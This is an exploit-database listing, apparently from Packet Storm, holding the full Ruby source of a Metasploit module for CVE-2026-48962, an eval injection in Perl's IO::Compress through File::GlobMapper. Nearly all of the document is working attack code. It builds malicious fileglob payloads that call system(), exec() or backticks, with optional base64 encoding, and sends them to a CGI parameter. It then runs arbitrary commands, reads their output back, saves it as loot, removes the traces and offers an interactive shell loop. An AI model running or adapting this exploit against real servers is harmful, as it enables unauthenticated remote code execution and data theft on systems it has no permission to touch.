## https://sploitus.com/exploit?id=PACKETSTORM:225277
==================================================================================================================================
| # Title : Perl IO::Compress RCE via File::GlobMapper Eval Injection |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://www.perl.org/ |
==================================================================================================================================
[+] Summary : This Metasploit auxiliary module targets a remote code execution (RCE) vulnerability in (CVE-2026-48962)Perlβs IO::Compress, specifically through an eval injection issue in File::GlobMapper::_getFiles().
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Perl IO::Compress RCE via File::GlobMapper Eval Injection',
'Description' => %q{
An eval injection vulnerability in `File::GlobMapper::_getFiles()` allows any
attacker who can control the output fileglob argument passed to
`IO::Compress::Gzip::gzip()`, `IO::Compress::Zip::zip()`, or any sibling
function to execute arbitrary Perl code in the context of the running process.
`File::GlobMapper` is invoked automatically when **both** the input and output
arguments to an `IO::Compress::*` / `IO::Uncompress::*` function are fileglob
strings (delimited by `< >`). This is a documented, common calling convention.
Any character that closes the surrounding double-quoted Perl string β a literal
`"`, a backtick, `${...}`, or `@{...}` β followed by arbitrary Perl code is
executed verbatim.
No authentication is required. Impact is complete: confidentiality, integrity,
and availability of the host process are fully compromised.
},
'Author' => ['indoushka' ],
'References' => [
['CVE', '2026-48962'],
['URL', 'https://github.com/advisories/GHSA-q6wx-vhvq-x7h6'],
['URL', 'https://github.com/pmqs/IO-Compress/commit/f2db247bf90d4cc7ee2710be384946081f3b4610.patch'],
['URL', 'http://www.openwall.com/lists/oss-security/2026/05/27/4']
],
'DisclosureDate' => '2026-05-27',
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path to vulnerable CGI/application', '/cgi-bin/']),
OptString.new('INJECT_PARAM', [true, 'Parameter that controls output filename', 'output']),
OptString.new('INPUT_GLOB', [true, 'Input fileglob (must exist on server)', '</tmp/*>']),
OptString.new('CMD', [false, 'Command to execute', 'id']),
OptEnum.new('METHOD', [true, 'HTTP method to use', 'GET', ['GET', 'POST']]),
OptInt.new('PAYLOAD_ENCODING', [false, 'Encoding level for payload', 0])
])
register_advanced_options([
OptBool.new('CLEANUP', [true, 'Attempt to remove created files after exploitation', true]),
OptString.new('WRITABLE_DIR', [true, 'Writable directory on target', '/tmp'])
])
end
def generate_malicious_glob(command)
cmd_escaped = command.gsub('"', '\\"')
malicious = "<output.gz\"; system(\"#{cmd_escaped}\"); #>"
alternatives = [
"<output.gz\"; `#{command}`; #>",
"<output.gz\"; eval(`#{command}`); #>",
"<output.gz\"; exec(\"#{cmd_escaped}\"); #>",
"<output.gz\"; require(\"#{cmd_escaped}\"); #>"
]
if datastore['PAYLOAD_ENCODING'] > 0
encoded = Rex::Text.encode_base64(malicious)
return "<output.gz\"; eval(decode_base64(\"#{encoded}\")); #>"
end
malicious
end
def send_payload(payload)
case datastore['METHOD']
when 'GET'
vars_get = {
datastore['INJECT_PARAM'] => payload,
'input' => datastore['INPUT_GLOB']
}
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'vars_get' => vars_get
})
else # POST
vars_post = {
datastore['INJECT_PARAM'] => payload,
'input' => datastore['INPUT_GLOB']
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'vars_post' => vars_post
})
end
res
end
def execute_command(cmd)
print_status("Attempting to execute: #{cmd}")
output_file = "#{datastore['WRITABLE_DIR']}/msf_output_#{Rex::Text.rand_text_alphanumeric(6)}"
full_cmd = "#{cmd} > #{output_file} 2>&1"
payload = generate_malicious_glob(full_cmd)
print_status("Sending malicious payload: #{payload}")
begin
res = send_payload(payload)
if res && res.code == 200
print_good("Payload sent successfully")
print_status("Attempting to read command output from #{output_file}")
read_cmd = "cat #{output_file}"
read_payload = generate_malicious_glob(read_cmd)
res2 = send_payload(read_payload)
if res2 && res2.body && !res2.body.empty?
print_good("Command output received:")
print_line(res2.body)
loot_file = store_loot(
'perl.rce.output',
'text/plain',
rhost,
res2.body,
"perl_cve_2026_48962_output.txt",
"Output from executed command: #{cmd}"
)
print_good("Output saved to: #{loot_file}")
if datastore['CLEANUP']
cleanup_cmd = "rm -f #{output_file}"
cleanup_payload = generate_malicious_glob(cleanup_cmd)
send_payload(cleanup_payload)
print_status("Cleanup completed")
end
return true
else
print_warning("Could not read command output - may need manual check")
return false
end
else
print_error("Failed to send payload. HTTP Status: #{res ? res.code : 'No response'}")
return false
end
rescue ::Rex::ConnectionError => e
print_error("Connection failed: #{e.message}")
return false
rescue => e
print_error("Unexpected error: #{e.message}")
return false
end
end
def check_vulnerability
print_status("Checking target for CVE-2026-48962...")
test_file = "#{datastore['WRITABLE_DIR']}/msf_test_#{Rex::Text.rand_text_alphanumeric(8)}"
test_cmd = "touch #{test_file}"
print_status("Testing with command: #{test_cmd}")
if execute_command(test_cmd)
check_cmd = "test -f #{test_file} && echo 'VULNERABLE'"
if execute_command(check_cmd)
print_good("Target is VULNERABLE to CVE-2026-48962!")
cleanup_cmd = "rm -f #{test_file}"
execute_command(cleanup_cmd)
return true
end
end
print_error("Target does not appear to be vulnerable")
false
end
def run
print_status("CVE-2026-48962 - Perl IO::Compress RCE via File::GlobMapper")
print_status("Target: #{rhost}:#{rport}")
unless check_vulnerability
print_error("Target not vulnerable or exploitation failed")
return
end
if datastore['CMD']
print_status("Executing single command: #{datastore['CMD']}")
execute_command(datastore['CMD'])
else
print_good("Entering interactive shell mode")
print_status("Commands will be executed on the target")
print_status("Type 'exit' or 'quit' to leave")
loop do
print("\n$> ")
cmd = gets.chomp
break if cmd =~ /^(exit|quit)$/i
next if cmd.empty?
execute_command(cmd)
end
end
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================